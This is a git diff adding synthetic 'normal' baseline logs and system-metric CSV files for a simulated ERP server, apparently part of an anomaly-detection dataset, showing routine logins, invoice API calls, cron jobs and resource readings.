erp-app[3523]: WARN Slow query detected on 'transactions' table. +Jul 15 10:01:10 cron[1597]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:12 erp-app[8055]: INFO User 107 generated a weekly sales '报表'. +Jul 15 10:01:15 erp-app[9440]: WARN Slow query detected on 'transactions' table. +Jul 15 10:01:17 erp-app[5118]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:01:20 erp-app[4950]: INFO User 254 accessed the main dashboard. +Jul 15 10:01:23 erp-app[3631]: INFO User 370 logged in successfully. +Jul 15 10:01:26 erp-app[9063]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:01:27 erp-app[4134]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:01:29 cron[4336]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:31 erp-app[6034]: INFO User 242 accessed the main dashboard. +Jul 15 10:01:34 erp-app[8050]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:01:37 erp-app[4437]: INFO User 360 logged in successfully. +Jul 15 10:01:39 erp-app[1558]: WARN Slow query detected on 'transactions' table. +Jul 15 10:01:40 cron[3300]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:44 erp-app[8485]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:01:47 erp-app[3536]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:01:50 erp-app[7539]: INFO User 416 logged in successfully. +Jul 15 10:01:54 erp-app[7109]: INFO User 270 started a '结算' process for client ID 7749. +Jul 15 10:01:57 erp-app[4723]: INFO User 425 logged in successfully. +Jul 15 10:02:00 systemd[1]: INFO Starting daily backup process... +Jul 15 10:02:03 erp-app[8284]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:02:07 erp-app[2488]: INFO User 234 started a '结算' process for client ID 7279. +Jul 15 10:02:10 cron[1762]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:13 erp-app[5542]: INFO User 410 logged in successfully. +Jul 15 10:02:16 cron[7143]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:17 erp-app[4144]: INFO User 336 logged in successfully. +Jul 15 10:02:20 systemd[1]: INFO Starting daily backup process... +Jul 15 10:02:21 cron[9092]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:25 erp-app[8504]: INFO User 126 submitted a purchase order for '审批'. +Jul 15 10:02:28 erp-app[9872]: INFO User 172 generated a weekly sales '报表'. +Jul 15 10:02:31 erp-app[8158]: INFO User 104 logged in successfully. +Jul 15 10:02:33 erp-app[8164]: INFO User 151 started a '结算' process for client ID 7966. +Jul 15 10:02:35 erp-app[1951]: INFO User 130 submitted a purchase order for '审批'. +Jul 15 10:02:38 erp-app[9803]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:02:41 erp-app[5775]: WARN Slow query detected on 'transactions' table. +Jul 15 10:02:42 erp-app[3143]: INFO User 455 accessed the main dashboard. +Jul 15 10:02:46 erp-app[2886]: INFO User 425 accessed the main dashboard. +Jul 15 10:02:47 erp-app[2286]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:02:48 erp-app[6855]: INFO User 364 logged in successfully. +Jul 15 10:02:52 erp-app[4282]: INFO User 328 submitted a purchase order for '审批'. +Jul 15 10:02:54 erp-app[3801]: INFO User 216 started a '结算' process for client ID 7893. +Jul 15 10:02:58 erp-app[4908]: INFO User 257 accessed the main dashboard. +Jul 15 10:03:01 erp-app[6769]: INFO User 488 started a '结算' process for client ID 7494. +Jul 15 10:03:05 erp-app[5723]: INFO User 431 started a '结算' process for client ID 7316. +Jul 15 10:03:07 erp-app[2306]: INFO User 277 submitted a purchase order for '审批'. +Jul 15 10:03:11 erp-app[6794]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:03:14 erp-app[7745]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:03:17 erp-app[7862]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:03:19 erp-app[9529]: INFO User 390 started a '结算' process for client ID 7480. +Jul 15 10:03:22 erp-app[8760]: INFO User 500 logged in successfully. +Jul 15 10:03:23 systemd[1]: INFO Starting daily backup process... +Jul 15 10:03:24 erp-app[3786]: INFO User 414 accessed the main dashboard. +Jul 15 10:03:27 erp-app[3797]: WARN Slow query detected on 'transactions' table. +Jul 15 10:03:30 erp-app[7992]: WARN Slow query detected on 'transactions' table. +Jul 15 10:03:32 erp-app[1122]: INFO User 212 accessed the main dashboard. +Jul 15 10:03:33 erp-app[1058]: INFO User 410 submitted a purchase order for '审批'. +Jul 15 10:03:35 erp-app[7148]: INFO User 334 accessed the main dashboard. +Jul 15 10:03:38 cron[9950]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:03:41 cron[5430]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:03:42 cron[9576]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:03:44 erp-app[8787]: INFO User 104 accessed the main dashboard. +Jul 15 10:03:47 erp-app[6982]: INFO User 257 logged in successfully. +Jul 15 10:03:50 erp-app[3446]: INFO User 371 logged in successfully. +Jul 15 10:03:52 erp-app[4702]: INFO User 101 generated a weekly sales '报表'. +Jul 15 10:03:55 erp-app[6321]: INFO User 482 logged in successfully. +Jul 15 10:03:57 erp-app[7401]: INFO User 336 accessed the main dashboard. +Jul 15 10:03:59 erp-app[7562]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:04:02 erp-app[2615]: INFO User 402 generated a weekly sales '报表'. +Jul 15 10:04:04 erp-app[9537]: INFO User 308 submitted a purchase order for '审批'. +Jul 15 10:04:06 erp-app[9036]: INFO User 390 started a '结算' process for client ID 7691. +Jul 15 10:04:09 erp-app[5526]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:04:10 erp-app[5284]: INFO User 278 submitted a purchase order for '审批'. +Jul 15 10:04:11 erp-app[3377]: INFO User 259 submitted a purchase order for '审批'. +Jul 15 10:04:14 erp-app[6604]: INFO User 159 started a '结算' process for client ID 7827. +Jul 15 10:04:16 erp-app[5859]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:04:17 erp-app[9676]: INFO User 121 started a '结算' process for client ID 7356. +Jul 15 10:04:21 erp-app[2236]: WARN Slow query detected on 'transactions' table. +Jul 15 10:04:24 cron[6587]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:27 erp-app[8926]: INFO User 297 started a '结算' process for client ID 7556. +Jul 15 10:04:29 erp-app[6315]: INFO User 408 started a '结算' process for client ID 7115. +Jul 15 10:04:31 erp-app[2095]: INFO User 476 submitted a purchase order for '审批'. +Jul 15 10:04:34 erp-app[9732]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:04:36 erp-app[4462]: INFO User 423 started a '结算' process for client ID 7209. +Jul 15 10:04:37 systemd[1]: INFO Starting daily backup process... +Jul 15 10:04:40 erp-app[3498]: INFO User 270 started a '结算' process for client ID 7087. +Jul 15 10:04:43 cron[9923]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:46 erp-app[6369]: INFO User 183 generated a weekly sales '报表'. +Jul 15 10:04:47 erp-app[9238]: INFO User 235 started a '结算' process for client ID 7903. +Jul 15 10:04:51 erp-app[4968]: INFO User 475 generated a weekly sales '报表'. +Jul 15 10:04:54 erp-app[6085]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:04:56 erp-app[1460]: INFO User 168 accessed the main dashboard. +Jul 15 10:04:57 systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:01 erp-app[4342]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:05:02 erp-app[3570]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:05:06 erp-app[5261]: INFO User 424 accessed the main dashboard. +Jul 15 10:05:10 erp-app[2029]: INFO User 241 accessed the main dashboard. +Jul 15 10:05:11 erp-app[5573]: INFO User 399 logged in successfully. +Jul 15 10:05:15 erp-app[8597]: INFO User 327 logged in successfully. +Jul 15 10:05:17 systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:21 cron[3692]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:05:23 erp-app[5242]: INFO User 408 logged in successfully. +Jul 15 10:05:25 erp-app[3369]: INFO User 386 logged in successfully. +Jul 15 10:05:27 erp-app[6339]: INFO User 397 generated a weekly sales '报表'. +Jul 15 10:05:29 erp-app[9972]: INFO User 116 logged in successfully. +Jul 15 10:05:31 erp-app[3701]: INFO User 241 generated a weekly sales '报表'. +Jul 15 10:05:33 systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:35 erp-app[9760]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:05:38 cron[1385]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:05:40 erp-app[1522]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:05:42 systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:45 systemd[1]: INFO Starting daily backup process... +Jul 15 10:05:47 erp-app[4192]: WARN Slow query detected on 'transactions' table. +Jul 15 10:05:49 erp-app[9701]: WARN Slow query detected on 'transactions' table. +Jul 15 10:05:52 erp-app[3735]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:05:54 erp-app[9861]: WARN Slow query detected on 'transactions' table. +Jul 15 10:05:57 erp-app[5303]: INFO User 500 submitted a purchase order for '审批'. +Jul 15 10:05:59 erp-app[1300]: INFO User 239 started a '结算' process for client ID 7435. +Jul 15 10:06:03 erp-app[7926]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:06:06 erp-app[1329]: INFO User 169 accessed the main dashboard. +Jul 15 10:06:08 erp-app[5946]: INFO User 139 logged in successfully. +Jul 15 10:06:11 erp-app[4869]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:06:14 erp-app[4850]: INFO User 405 started a '结算' process for client ID 7616. +Jul 15 10:06:18 erp-app[8003]: INFO User 152 submitted a purchase order for '审批'. +Jul 15 10:06:21 erp-app[8102]: INFO User 177 logged in successfully. +Jul 15 10:06:25 erp-app[4718]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:06:27 erp-app[8760]: INFO User 392 generated a weekly sales '报表'. +Jul 15 10:06:29 erp-app[6850]: INFO User 260 accessed the main dashboard. +Jul 15 10:06:33 erp-app[7191]: INFO User 123 accessed the main dashboard. +Jul 15 10:06:37 erp-app[8232]: INFO User 466 started a '结算' process for client ID 7928. +Jul 15 10:06:38 erp-app[6870]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:06:40 erp-app[7248]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:06:41 erp-app[9608]: INFO API call POST /api/v1/invoices status=201 +Jul 15 10:06:44 cron[9340]: INFO (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:06:46 erp-app[5482]: WARN Slow query detected on 'transactions' table. +Jul 15 10:06:48 erp-app[3705]: INFO User 242 logged in successfully. +Jul 15 10:06:52 erp-app[8673]: INFO User 201 started a '结算' process for client ID 7079. +Jul 15 10:06:54 erp-app[3407]: INFO API call GET /api/v1/reports status=200 +Jul 15 10:06:56 erp-app[4087]: WARN Slow query detected on 'transactions' table. +Jul 15 10:06:57 erp-app[9267]: INFO User 194 accessed the main dashboard. +Jul 15 10:07:00 erp-app[7305]: INFO User 356 logged in successfully. +Jul 15 10:07:04 erp-app[5463]: INFO User 289 started a '结算' process for client ID 7194. +Jul 15 10:07:07 erp-app[1108]: INFO User 180 accessed the main dashboard. +Jul 15 10:07:09 erp-app[3174]: INFO User 163 generated a weekly sales '报表'. +Jul 15 10:07:10 erp-app[1113]: INFO User 271 submitted a purchase order for '审批'. +Jul 15 10:07:12 erp-app[6098]: INFO User 408 accessed the main dashboard. +Jul 15 10:07:16 erp-app[7786]: INFO User 134 started a '结算' process for client ID 7284. +Jul 15 10:07:20 erp-app[3578]: INFO User 348 generated a weekly sales '报表'. +Jul 15 10:07:24 erp-app[3282]: INFO User 385 generated a weekly sales '报表'. diff --git a/norm_dataset/scenario_9/norm_9_17.csv b/norm_dataset/scenario_9/norm_9_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c43a956ea863d04bde267499fb9913b8162561f --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,21.34,49.74,20.73,1.24,0.81 +2025-07-15T10:00:05Z,27.97,43.19,37.37,0.89,0.84 +2025-07-15T10:00:10Z,26.7,44.08,42.71,0.89,0.93 +2025-07-15T10:00:15Z,27.06,42.65,36.46,0.98,0.94 +2025-07-15T10:00:20Z,17.27,42.26,31.22,0.89,1.31 +2025-07-15T10:00:25Z,20.47,48.74,46.51,0.94,0.58 +2025-07-15T10:00:30Z,10.63,45.31,21.71,1.01,0.78 +2025-07-15T10:00:35Z,29.64,48.32,38.55,1.44,1.23 +2025-07-15T10:00:40Z,24.19,47.33,13.47,1.06,0.74 +2025-07-15T10:00:45Z,25.02,46.98,30.74,1.36,1.06 +2025-07-15T10:00:50Z,15.49,39.14,31.06,1.46,0.81 +2025-07-15T10:00:55Z,25.57,43.18,42.43,1.19,1.35 +2025-07-15T10:01:00Z,27.05,41.94,26.52,0.94,0.68 +2025-07-15T10:01:05Z,18.9,41.46,26.04,0.95,0.79 +2025-07-15T10:01:10Z,20.68,52.38,18.24,0.49,0.79 +2025-07-15T10:01:15Z,16.71,44.54,38.33,1.11,1.1 +2025-07-15T10:01:20Z,17.95,47.03,36.06,1.21,1.08 +2025-07-15T10:01:25Z,21.87,47.69,25.1,1.66,0.72 +2025-07-15T10:01:30Z,23.31,51.13,25.66,1.17,0.95 +2025-07-15T10:01:35Z,20.03,46.58,31.9,0.85,1.24 +2025-07-15T10:01:40Z,23.12,43.49,14.15,1.16,0.88 +2025-07-15T10:01:45Z,18.12,44.2,46.93,0.61,1.44 +2025-07-15T10:01:50Z,19.58,43.85,39.32,1.3,1.16 +2025-07-15T10:01:55Z,22.43,46.16,18.29,1.35,1.02 +2025-07-15T10:02:00Z,20.44,43.47,29.88,0.75,0.35 +2025-07-15T10:02:05Z,26.12,41.41,45.24,1.72,0.73 +2025-07-15T10:02:10Z,17.21,45.06,35.25,1.29,0.91 +2025-07-15T10:02:15Z,19.79,41.68,29.6,0.88,0.74 +2025-07-15T10:02:20Z,24.48,44.54,50.62,1.0,1.27 +2025-07-15T10:02:25Z,16.22,48.0,52.46,1.36,0.83 +2025-07-15T10:02:30Z,24.12,48.77,43.41,1.01,1.05 +2025-07-15T10:02:35Z,17.09,41.83,43.69,0.96,0.81 +2025-07-15T10:02:40Z,13.15,42.6,32.63,0.84,0.82 +2025-07-15T10:02:45Z,28.39,47.14,28.93,0.83,0.75 +2025-07-15T10:02:50Z,28.8,43.62,34.6,1.09,0.61 +2025-07-15T10:02:55Z,25.52,49.86,37.39,1.26,0.54 +2025-07-15T10:03:00Z,19.25,51.8,35.9,0.87,1.02 +2025-07-15T10:03:05Z,17.27,46.38,33.87,1.07,1.48 +2025-07-15T10:03:10Z,29.04,44.69,16.86,1.18,0.73 +2025-07-15T10:03:15Z,21.95,43.87,22.12,1.55,1.39 +2025-07-15T10:03:20Z,17.35,47.04,18.94,1.09,1.19 +2025-07-15T10:03:25Z,22.28,43.86,35.3,0.98,0.98 +2025-07-15T10:03:30Z,11.68,41.99,28.92,1.42,0.54 +2025-07-15T10:03:35Z,28.59,44.67,23.34,1.21,0.93 +2025-07-15T10:03:40Z,19.0,49.47,31.08,1.28,1.01 +2025-07-15T10:03:45Z,29.86,46.38,29.33,1.06,1.12 +2025-07-15T10:03:50Z,19.29,45.87,30.13,1.07,1.23 +2025-07-15T10:03:55Z,23.4,41.96,34.31,1.08,0.81 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+2025-07-15T10:07:20Z,32.04,39.29,36.48,1.15,1.13 +2025-07-15T10:07:25Z,23.03,48.45,19.29,1.09,0.93 diff --git a/norm_dataset/scenario_9/norm_9_17.log b/norm_dataset/scenario_9/norm_9_17.log new file mode 100644 index 0000000000000000000000000000000000000000..12c0d0c7dcb0f76e0cfa99a42e2ca771e7d7c748 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_17.log @@ -0,0 +1,52 @@ +Jul 15 10:00:00 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=49 status=201 Created +Jul 15 10:00:33 erp-server auth-service[950]: INFO Authentication successful for user: 43 +Jul 15 10:00:48 erp-server web-app[1882]: GET /api/v1/customers/1476 user_id=38 status=200 OK +Jul 15 10:00:51 erp-server web-app[1882]: INFO User 19 initiated a "月度销售报表" generation task. +Jul 15 10:00:57 erp-server web-app[1882]: INFO User 39 initiated a "月度销售报表" generation task. +Jul 15 10:01:00 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=24 status=201 Created +Jul 15 10:01:06 erp-server auth-service[950]: INFO Authentication successful for user: 46 +Jul 15 10:01:15 erp-server web-app[1882]: GET /api/v1/dashboard/summary user_id=34 status=200 OK +Jul 15 10:01:30 erp-server web-app[1882]: GET /api/v1/invoices?page=9&limit=20 user_id=19 status=200 OK +Jul 15 10:01:45 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=32 status=201 Created +Jul 15 10:01:51 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:02:06 erp-server web-app[1882]: INFO User 34 initiated a "月度销售报表" generation task. +Jul 15 10:02:18 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=12 status=200 OK +Jul 15 10:02:21 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=14 status=200 OK +Jul 15 10:02:27 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=35 status=201 Created +Jul 15 10:02:33 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=22 status=201 Created +Jul 15 10:02:39 erp-server web-app[1882]: GET /api/v1/invoices?page=8&limit=20 user_id=12 status=200 OK +Jul 15 10:03:15 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:03:21 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=40 status=201 Created +Jul 15 10:03:24 erp-server web-app[1882]: GET /api/v1/dashboard/summary user_id=23 status=200 OK +Jul 15 10:03:27 erp-server web-app[1882]: INFO User 26 logged in successfully from IP 192.168.1.194 +Jul 15 10:03:45 erp-server background-worker[3105]: INFO Job DailyDataSync completed successfully. +Jul 15 10:03:51 erp-server web-app[1882]: POST /api/v1/invoices/create user_id=38 status=201 Created +Jul 15 10:03:57 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:04:03 erp-server auth-service[950]: INFO Authentication successful for user: 27 +Jul 15 10:04:18 erp-server web-app[1882]: INFO User 15 logged in successfully from IP 192.168.1.178 +Jul 15 10:04:21 erp-server web-app[1882]: GET /api/v1/dashboard/summary user_id=38 status=200 OK +Jul 15 10:04:24 erp-server background-worker[3105]: INFO Job DailyDataSync completed successfully. +Jul 15 10:04:27 erp-server background-worker[3105]: INFO Starting scheduled job: DailyDataSync. +Jul 15 10:04:42 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:04:45 erp-server auth-service[950]: INFO Authentication successful for user: 47 +Jul 15 10:05:03 erp-server web-app[1882]: INFO User 25 performed a partial "对账" operation on batch 845. +Jul 15 10:05:09 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:05:15 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=39 status=200 OK +Jul 15 10:05:21 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=31 status=200 OK +Jul 15 10:05:27 erp-server web-app[1882]: INFO User 30 initiated a "月度销售报表" generation task. +Jul 15 10:05:33 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=42 status=200 OK +Jul 15 10:05:36 erp-server web-app[1882]: INFO User 21 logged in successfully from IP 192.168.1.145 +Jul 15 10:05:42 erp-server web-app[1882]: INFO User 41 initiated a "月度销售报表" generation task. +Jul 15 10:05:45 erp-server web-app[1882]: INFO User 22 logged in successfully from IP 192.168.1.125 +Jul 15 10:05:51 erp-server auth-service[950]: INFO Authentication successful for user: 24 +Jul 15 10:05:57 erp-server web-app[1882]: GET /api/v1/invoices?page=6&limit=20 user_id=15 status=200 OK +Jul 15 10:06:03 erp-server web-app[1882]: INFO User 17 performed a partial "对账" operation on batch 861. +Jul 15 10:06:09 erp-server systemd[1]: Starting daily clean up activities... +Jul 15 10:06:21 erp-server web-app[1882]: GET /api/v1/reports/preview/102 user_id=23 status=200 OK +Jul 15 10:06:27 erp-server web-app[1882]: GET /api/v1/invoices?page=4&limit=20 user_id=28 status=200 OK +Jul 15 10:06:39 erp-server web-app[1882]: INFO User 27 performed a partial "对账" operation on batch 821. +Jul 15 10:06:45 erp-server web-app[1882]: INFO User 19 performed a partial "对账" operation on batch 878. +Jul 15 10:07:00 erp-server web-app[1882]: INFO User 29 initiated a "月度销售报表" generation task. +Jul 15 10:07:06 erp-server web-app[1882]: INFO User 41 logged in successfully from IP 192.168.1.135 +Jul 15 10:07:12 erp-server web-app[1882]: GET /api/v1/customers/1370 user_id=15 status=200 OK +Jul 15 10:07:18 erp-server web-app[1882]: GET /api/v1/invoices?page=5&limit=20 user_id=27 status=200 OK diff --git a/norm_dataset/scenario_9/norm_9_18.csv b/norm_dataset/scenario_9/norm_9_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..c9e67fa190565bdca5e34d7ccda44e20bd86f923 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15 10:00:00+00:00,15.618101782710436,33.19594245938302,26.82132702100517,1.3093611554785136,0.8881699262065219 +2025-07-15 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10:05:25+00:00,16.15568540194997,40.32943636403067,38.566371251754504,0.5407288023189701,1.0495288823237354 +2025-07-15 10:05:30+00:00,10.116666230617883,44.70455012208273,28.563682966346285,1.3554605840110072,0.941530501373377 +2025-07-15 10:05:35+00:00,20.033266204436597,45.61432734007311,39.33309638087339,1.2036578593800238,1.3877041827582999 +2025-07-15 10:05:40+00:00,9.126042133005983,40.329771423508745,39.272399541785056,0.9741738290873252,0.8509150125520787 +2025-07-15 10:05:45+00:00,22.82848263898457,45.13204288834757,37.060189109347206,0.5978341606510015,0.6170670164276059 +2025-07-15 10:05:50+00:00,19.636084702522258,41.36747305825302,25.888977841391714,0.9916158751168324,0.6429916820528359 +2025-07-15 10:05:55+00:00,11.070085738835557,43.79893048301473,27.701954572038506,0.9734717707805657,1.2615106317174722 +2025-07-15 10:06:00+00:00,8.218638385049157,43.548122498830814,37.02273343033714,0.6732018699100152,1.118218063316261 +2025-07-15 10:06:05+00:00,20.423471484996345,42.2634836288842,26.338440103125553,0.933851649237973,0.6011226761227902 +2025-07-15 10:06:10+00:00,18.85916325250918,37.46361604637673,23.38985493372185,0.8985047343973734,0.5841068061149974 +2025-07-15 10:06:15+00:00,19.26485066230194,44.53766191500415,31.136025249167005,1.1158500980522166,1.20096913145912 +2025-07-15 10:06:20+00:00,19.980559524520164,38.99277841762268,38.723095483215616,1.1350936508676437,0.5727630063641935 +2025-07-15 10:06:25+00:00,9.611849088339104,37.23488028469002,33.920595933499456,0.5453040097720445,1.3218600592903562 +2025-07-15 10:06:30+00:00,13.975307277861623,35.354805973618255,31.4012234017873,0.8746126146264712,1.2062422271564963 +2025-07-15 10:06:35+00:00,10.440482372473493,40.43439713934951,21.943529875415372,1.1258599157142364,0.5813487806418998 +2025-07-15 10:06:40+00:00,21.759587343999193,40.88896908152577,32.3001445339834,1.0031362585800876,0.5848377140851919 +2025-07-15 10:06:45+00:00,18.27901072970917,33.884708972679434,39.801077002085265,1.3564898411883224,1.4866395785011755 +2025-07-15 10:06:50+00:00,14.014845055232632,38.470765572658294,22.801680304730482,1.1586936316189451,0.8742707957561203 +2025-07-15 10:06:55+00:00,10.131311795495112,35.27864024740898,30.366593047274733,0.6629344270814297,0.8706421470668909 +2025-07-15 10:07:00+00:00,13.973328704502219,39.1687915408116,37.54746143855911,0.5705687474004298,1.3127995672575026 +2025-07-15 10:07:05+00:00,14.32044559724822,34.209546302485265,34.81537235508409,1.1424192782063156,1.4472485773838586 +2025-07-15 10:07:10+00:00,20.52366679165402,39.17451426619503,33.94031481990536,0.5265113105416218,1.486001063822871 +2025-07-15 10:07:15+00:00,19.281909077250415,35.98617714397403,34.049681679742186,1.0857755812734633,1.2533781852589416 +2025-07-15 10:07:20+00:00,23.167113220560275,41.397154355823986,27.189823024395103,1.4402302414249575,0.8762595855309158 +2025-07-15 10:07:25+00:00,17.08322387742924,33.37520944145993,25.871836885289866,1.075474177875879,0.5835007166986688 diff --git a/norm_dataset/scenario_9/norm_9_18.log b/norm_dataset/scenario_9/norm_9_18.log new file mode 100644 index 0000000000000000000000000000000000000000..0d300383b36e23c267a5dfb0c8029d30e59e5a01 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_18.log @@ -0,0 +1,176 @@ +Jul 15 10:00:00 erp-app[4522]: WARN Login attempt failed for user 'charlie'. +Jul 15 10:00:00 erp-app[1828]: INFO User 'david' generated report 'Monthly_Expense'. +Jul 15 10:00:05 erp-app[2214]: INFO User 'alice' updated account balance for AccountID 289. +Jul 15 10:00:05 erp-app[3105]: INFO User 'alice' logged in successfully. +Jul 15 10:00:10 erp-app[2250]: INFO User 'frank' approved expense report #8763. +Jul 15 10:00:15 erp-app[4486]: INFO User 'bob' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:00:15 erp-app[4018]: INFO User 'eve' logged in successfully. +Jul 15 10:00:20 erp-app[2145]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:00:20 erp-app[3779]: INFO User 'bob' initiated a new settlement process ID: 1697. +Jul 15 10:00:20 erp-app[4216]: INFO User 'alice' approved expense report #8922. +Jul 15 10:00:20 erp-app[1924]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:00:25 erp-app[3497]: WARN Login attempt failed for user 'bob'. +Jul 15 10:00:25 erp-app[2015]: INFO User 'frank' submitted a new invoice batch for approval. +Jul 15 10:00:30 erp-app[3874]: INFO User 'charlie' logged in successfully. +Jul 15 10:00:30 erp-app[1510]: INFO User 'alice' logged out. +Jul 15 10:00:30 erp-app[3756]: INFO User 'eve' logged in successfully. +Jul 15 10:00:30 erp-app[1713]: INFO User 'frank' approved expense report #8022. +Jul 15 10:00:35 erp-app[2469]: INFO User 'frank' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:00:35 erp-app[4143]: INFO User 'alice' logged in successfully. +Jul 15 10:00:40 erp-app[1267]: INFO User 'bob' submitted a new invoice batch for approval. +Jul 15 10:00:45 erp-app[3814]: INFO User 'frank' approved expense report #8824. +Jul 15 10:00:45 erp-app[3150]: INFO User 'eve' updated account balance for AccountID 174. +Jul 15 10:00:50 erp-app[3906]: INFO User 'frank' generated report 'Monthly_Expense'. +Jul 15 10:00:55 erp-app[1758]: INFO User 'david' generated report 'Q2_Revenue'. +Jul 15 10:01:00 erp-app[2353]: INFO User 'eve' logged in successfully. +Jul 15 10:01:05 erp-app[3173]: INFO User 'eve' initiated a new settlement process ID: 1773. +Jul 15 10:01:05 erp-app[4734]: INFO User 'charlie' logged out. +Jul 15 10:01:10 erp-app[2719]: INFO User 'frank' logged out. +Jul 15 10:01:15 erp-app[4122]: INFO User 'charlie' accessed module 'Financial Statements'. +Jul 15 10:01:20 erp-app[3280]: INFO User 'eve' submitted a new invoice batch for approval. +Jul 15 10:01:20 erp-app[4994]: INFO User 'frank' submitted a new invoice batch for approval. +Jul 15 10:01:25 erp-app[1047]: INFO User 'frank' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:01:25 erp-app[2276]: INFO User 'bob' logged in successfully. +Jul 15 10:01:25 erp-app[4457]: INFO User 'frank' initiated a new settlement process ID: 1473. +Jul 15 10:01:30 erp-app[2774]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:01:30 erp-app[2654]: INFO User 'bob' generated report 'Monthly_Expense'. +Jul 15 10:01:35 erp-app[1536]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:01:35 erp-app[1232]: INFO User 'eve' logged in successfully. +Jul 15 10:01:40 erp-app[3642]: INFO User 'frank' initiated a new settlement process ID: 1622. +Jul 15 10:01:45 erp-app[2975]: INFO User 'frank' approved expense report #8319. +Jul 15 10:01:50 erp-app[2733]: WARN Login attempt failed for user 'eve'. +Jul 15 10:01:55 erp-app[4735]: INFO User 'frank' initiated a new settlement process ID: 1445. +Jul 15 10:02:00 erp-app[1919]: INFO User 'charlie' updated account balance for AccountID 328. +Jul 15 10:02:00 erp-app[1645]: WARN Login attempt failed for user 'bob'. +Jul 15 10:02:05 erp-app[3762]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:02:05 erp-app[2433]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:02:05 erp-app[3187]: WARN Login attempt failed for user 'david'. +Jul 15 10:02:10 erp-app[4582]: INFO User 'frank' submitted a new invoice batch for approval. +Jul 15 10:02:15 erp-app[2942]: INFO User 'charlie' logged out. +Jul 15 10:02:20 erp-app[3832]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:02:20 erp-app[2118]: INFO User 'charlie' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:02:25 erp-app[3635]: INFO User 'frank' generated report 'Q2_Revenue'. +Jul 15 10:02:25 erp-app[2372]: INFO User 'charlie' accessed module 'Financial Statements'. +Jul 15 10:02:25 erp-app[2314]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:02:25 erp-app[3621]: INFO User 'eve' approved expense report #8378. +Jul 15 10:02:30 erp-app[3847]: INFO User 'bob' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:02:30 erp-app[1992]: INFO 